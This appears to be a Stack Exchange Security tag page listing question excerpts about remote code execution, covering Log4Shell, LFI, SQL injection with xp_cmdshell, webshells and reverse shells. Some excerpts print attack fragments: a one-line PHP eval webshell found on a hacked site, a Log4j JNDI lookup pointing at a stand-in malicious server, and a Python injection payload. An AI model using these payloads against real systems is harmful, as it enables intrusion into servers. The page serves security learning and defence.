Skip to main content
Share Your Experience: Take the 2024 Developer Survey

Questions tagged [remote-code-execution]

Remote code execution is the process of running arbitrary code on a device over some type of network. The code can either be malicious, such as a code injection on a website, or voluntary, such as with Java Remote Method Invocation.

Filter by
Sorted by
Tagged with
0 votes
1 answer
64 views

Phar file deserialization in PHP < 8.0

TLDR: I want to reproduce the RCE from phar file deserialization described in GitHub/advisory/97m3. I fabricate an html file that includes a malicious svg file in its <img> tag. Adding debug ...
OrenIshShalom's user avatar
1 vote
1 answer
60 views

xp_cmdshell as dbo user only able to run 'ping localhost' to verify RCE?

I am doing a pentest on a client's ASP web application and I have identified a blind SQL injection. However, after enabling xp_cmdshell, I am only able to run the ping localhost command to verify the ...
dawn breaker's user avatar
0 votes
0 answers
45 views

Storing APFS password in Apple's Keychain for Time Machine

If you are using an encrypted APFS container, for example, to encrypt the Time Machine, whenever the physical disk is plugged in, MacOS asks for a decryption password with an option to store it ("...
Alexander K.'s user avatar
0 votes
0 answers
170 views

How to bypass ascii_letters and run the code in eval

I have next code: if request.method == 'POST': exp = request.form['Expression'] for i in exp: if i in ascii_letters: return render_template('index.html',...
oracle's user avatar
  • 1
0 votes
0 answers
77 views

Does other frontend framework have similar issue like AngularJS?

I'm reading an article that talks about XSS exploitation on AngularJS, AngularJS will render the template in ng-html, and it bypasses sanitize-html. My questions, I'm wondering if other frameworks ...
daisy's user avatar
  • 2,077
2 votes
1 answer
383 views

Python Code Injection With int()

I discovered reading the documentation for int() in python that I could execute operating system commands if something like the following were passed to the int() constructor: type('',(),{'a':5,'b':6,'...
elidibus's user avatar
0 votes
1 answer
137 views

Arbitrary command execution on remote devices

Is it possible to send a TCP payload to an open port that executes a specific arbitrary command on the target device using Metasploit or any other program? For example with Windows 10 Server OS? I ...
19216811's user avatar
0 votes
0 answers
83 views

Can malicious files be traced and removed from my phone

I had a files analysis done on my phone using Falcon Sandbox. An alarming amount of malicious files,marked as clean, were found,identified,and shown each capable abilities. Literally THE ONLY thing of ...
Curiouskat's user avatar
-1 votes
1 answer
89 views

Would a base64ed code work inside an images metadata? [closed]

my target has a server that uses aspx possibly version 4.3 and i just found out that it has an image upload part. They have an image analyzer so it has to be an image file so i wonder if i could embed ...
Krysslk's user avatar
0 votes
1 answer
260 views

Kubernetes user impersonation to obtain exec privileges

I am exploring CVE 2018-1002105 about privilege escalation vulnerabilities in Kubernetes. As a remote unuauthenticated user, I would want to make use of a metrics server deployed on my cluster to exec ...
SarahAlexa's user avatar
1 vote
1 answer
114 views

New York Times article about FBI secretly removing malware from U.S. corporate servers - would this indicate they have a government backdoor?

New York times just ran an article titled "U.S. Says It Secretly Removed Malware Worldwide, Pre-empting Russian Cyberattacks" that stated The United States said on Wednesday that it had ...
alec's user avatar
  • 135
1 vote
0 answers
173 views

RCE through specifying .NET type or namespace?

I'm testing an application that allows the user to provide an XML file that will be processed. (I've already tried typical XML attacks, such as XXE.) One of the elements of the XML file allows the ...
Bob's user avatar
  • 99
1 vote
1 answer
183 views

Log4shell - Should affected servers be "nuked from the orbit"?

Considering how log4shell seems trivial to exploit and the important control level it gives to an attacker, should we wipe everything affected and start over? For example, we find out that a publicly ...
pmbonneau's user avatar
  • 191
3 votes
1 answer
1k views

Can one protect from the Log4j exp by sanitizing the parameters?

A zero-day exploit affecting the popular Apache Log4j utility (CVE-2021-44228) was made public on December 9, 2021 that results in remote code execution (RCE). (From an email CloudFlare sent to users) ...
gordon613's user avatar
  • 291
4 votes
1 answer
439 views

Does the log4j RCE vulnerability run even if the message is just a part of the logged string?

Does the JNDI URL need to be the full string being logged or could it be just a part of a logged string? For example, if the code contains: paramGivenFromOutside = "${jndi:ldap://maliciousServer:...
Lefteris E's user avatar
0 votes
1 answer
688 views

Uploading/writing server files via SSRF?

Say I've found a perfect SSRF vulnerability in a web application that lets me send web requests to any URL, any host, any port, any scheme. I can use the file:// scheme to get the contents of local ...
Bob's user avatar
  • 99
0 votes
1 answer
146 views

Can I escalate a main domain SSTI/RCE to all the subdomains belonging to that domain?

I'm a newbie ethical hacker and bug bounty hunter. Lets, assume my target is somethingtohack.com, the thing is the company's scope defines that the main domain is out of scope, but subdomains like ...
Offensive Bug Hunter's user avatar
1 vote
1 answer
588 views

Need guidance on detecting how a hacked file got upload on my website [duplicate]

On my website I found a file containing this code <?php if(isset($_POST[z]))eval($_POST[z]);?> It's my understanding that the hacker is using this to execute any PHP command send via a POST ...
gabtzi's user avatar
  • 111
0 votes
2 answers
600 views

How to completely restrict Steam in Linux to defend against remote zero day exploits?

My question is, how can i completely restrict Steam's processes and modules to only have access to what they suppose to, and not be able to do anything malicious, for example running bin/sh or ...
OneAndOnly's user avatar
0 votes
1 answer
830 views

Attempting remote code execution, why does this php webshell code fail with single quotes?

In working on a vulnerable box, I found a field in a database table where one can insert php code. Based on this exploit: https://www.exploit-db.com/exploits/24044 I tried to use this code to make a ...
ATuttle's user avatar
1 vote
0 answers
2k views

NodeJS, unrestricted file upload, RCE [closed]

I'm testing on application which runs on NodeJS, and discovered unrestriced file upload vulnerability, path traversal is not possible. Uploaded file is visitable, I can upload .html to perform XSS ...
momola's user avatar
  • 11
9 votes
2 answers
328 views

Who is at risk from the PrintNightmare RCE?

Microsoft released an emergency patch and stated that the vulnerability is being actively exploited in the wild. All the news articles describing the RCE are implying that any internet-connected ...
bkoodaa's user avatar
  • 440
0 votes
2 answers
478 views

How does Local File Inclusion (LFI) work?

In the past few days, I have created my own webserver to serve as my sandbox for learning pen-testing. I saw this blog (https://outpost24.com/blog/from-local-file-inclusion-to-remote-code-execution-...
CBCH's user avatar
  • 15
0 votes
1 answer
5k views

RubySMB::Error::CommunicationError: Read timeout expired when reading from the Socket (timeout=30)

I've been playing around with the EternalBlue exploit recently. I've downloaded a Windows 10 iso file from 2016 and used it to set up a Windows 10 Pro VM as my sandbox. I also ran the nmap script and ...
CBCH's user avatar
  • 15
0 votes
0 answers
134 views

ThinkPHP show my website as the req.host - did the request really come from my web server?

I have ThinkPHP wordpress garbage coming at my server https://medium.com/@knownsec404team/analysis-of-thinkphp5-remote-code-execution-vulnerability-5de8a0afb2d4 , for example: /public/index.php?s=...
user1709076's user avatar
2 votes
2 answers
221 views

Is there any way an attacker can access the server and modify the site (php) code? [closed]

I recently had a breach on my site (laravel). I got aware of it after I tried to pull the code from github and found out that some files were modified. The files modified were mostly storage - logs/...
php.prg's user avatar
  • 21
2 votes
4 answers
618 views

LFI php://input returning initial argument?

TLDR: Trying to execute commands on site thats got a LFI vuln. So I am making my post request to my vulnerable site and import requests header = { 'User-Agent':'Mozilla/5.0 (Windows; U; ...
RFIx's user avatar
  • 21
2 votes
2 answers
883 views

Why is the first step for an attacker to get Reverse Shell after getting RCE?

If someone is having a Remote Code Execution, that means, one can run the commands on the server, then why does he need to get the Reverse Shell? Even though I can run system commands, then why do I ...
AWS Learning's user avatar
0 votes
0 answers
279 views

Exploiting Groovy RCE

I'm trying to exploit groovy engine for RCE. However, the developer fixed by restricting the method calls with name 'exec', 'execute', 'run', 'start'. Is there any bypass or alternative to these ...
Honey's user avatar
  • 1
0 votes
0 answers
149 views

Remotely crashing a PC by only visiting a website? Is this an at least 6 year old WebGL bug?

http://hunger.hu/webgl.html WARNING: only visit this website, it you don't mind crashing your PC! so how is this possible? the website dates back to 2014! It is 2020 and by only visiting a website ...
pintereric's user avatar
1 vote
1 answer
201 views

Rogue network printers as an attack vector in windows

I recently installed a new printer in our network. Just because I was interested, I switched to wireshark when scanning for and adding the printer on windows. I noticed that it was discoverd through ...
Tyrael's user avatar
  • 13
1 vote
2 answers
1k views

DVWA - Converting Local File Inclusion to Remote Code Exploitation

I'm reading this blog and it says: If the /proc/self/environ file can be accessed through LFI, then in this case “RCE” can be achieved by requesting the file in combination with the payload written ...
7_R3X's user avatar
  • 656
3 votes
1 answer
250 views

Is this a remote code execution vulnerability?

I am planning to evaluate and install a publicly available software. https://github.com/opensemanticsearch/open-semantic-search While reviewing the issues on github, there is an issue open which ...
Stacky's user avatar
  • 133
0 votes
1 answer
2k views

LFI to RCE through User-Agent

I'm doing a pentest on a FreeBSD machine running CuppaCMS. Already managed to login into the CMS with admin privilege, but it only takes me to a manager menu, with some options to change some tables ...
mat80n2012 cerqueira's user avatar
0 votes
0 answers
115 views

Securing server-sent shaders

I have been implementing server-sent shaders using OpenGL for a game (GLSL version 1.20.8). Executing server-sent shaders on the client obviously is remote code execution, which tends to be a bad ...
Luatic's user avatar
  • 101
1 vote
1 answer
335 views

Dealing with a large number of bad chars

I have recently discovered a Buffer Overflow vulnerability that leads to Remote Code Execution. However, due to the structure of the application assessed, a lot of so-called 'bad chars' came up. The ...
Vilius Povilaika's user avatar
2 votes
1 answer
2k views

Dangers of Electron's "shell.openExternal" on untrusted content

I'm curious about the actual dangers of executing shell.openExternal on untrusted content. Documentation specifically states that this can be leveraged for RCE: Improper use of openExternal can be ...
Mala's user avatar
  • 123
0 votes
1 answer
272 views

Deserialization Opportunity?

I have minimal experience exploiting deserialization vulnerabilities and I am working on and I have identified the following URL endpoint. This is it URL Decoded: /Account/Register?Count=0&Keys=...
leaustinwile's user avatar
0 votes
0 answers
300 views

How is malicious code executed on android devices without owners' knowledge?

I was wondering how hackers were able to gain remote access to one's android device with the help of just a .PNG file. This vulnerability was announced by Google but they didn't provide much ...
idoitforfun's user avatar
3 votes
2 answers
610 views

Are alphanumeric strings safe to pass to a bash script?

I'm currently developing a web service that takes user input and passes it to a bash script as an argument. I know that without sanitizing this allows for remote command execution. So I want to know ...
limeeattack's user avatar
2 votes
2 answers
1k views

Remote code execution over WAN

Say I am on a a computer behind a NAT and I want to execute an RCE exploit on another computer behind a different NAT(note that no ports are forwarded to the victim's computer on his/her NAT) Could I ...
Bzzzz..'s user avatar
  • 21
0 votes
2 answers
926 views

Accessing a hidden token file in a website using RFI?

In class, I was given the task of using LFI and RFI to find tokens hidden in specific web pages. I completed the first two tasks fine, however, there is another task, the final boss if you will, that ...
ismaeel ali's user avatar
2 votes
0 answers
270 views

Reverse TCP - Bind to a specific port

So, I'm trying to solve a CTF challenge that involves exploiting a remote service. The service doesn't check for the size of the input and there is a buffer overflow vulnerability. However, before I ...
Ranganatha Rao's user avatar
1 vote
1 answer
198 views

Is it possible to exploit computer vision to achieve remote code execution?

What kind of vulnerability in the implementation of a vision-based machine learning system (object recognition, for example) would enable an attacker to achieve remote code execution? The only ...
jstrieb's user avatar
  • 153
1 vote
2 answers
241 views

Exploitation tactics for heap over-reading?

One of recent CVEs particularly 2019-13615 related to VLC media player, attracted my attention because of the developer reaction: Any non-exploitable read overflow get CVSS of 9.8, like VLC is a ...
Croll's user avatar
  • 163
0 votes
3 answers
1k views

How to exploit RCE vulnerability for machine on local network [closed]

Can someone explain a technique when I know that I can expoit RCE on a server that is located in an internal network but I don't understand how to get a reply back from the payload once it gets inside ...
getfitasap555's user avatar
68 votes
1 answer
12k views

Unusual mail headers show evidence of MTA attack. Have I been pwned?

Today I found an extremely unusual email in my catchall inbox, without subject, sender or content. My Gmail client for android reported the mail was sent by me, triggering a nuclear alert in my mind. ...
usr-local-ΕΨΗΕΛΩΝ's user avatar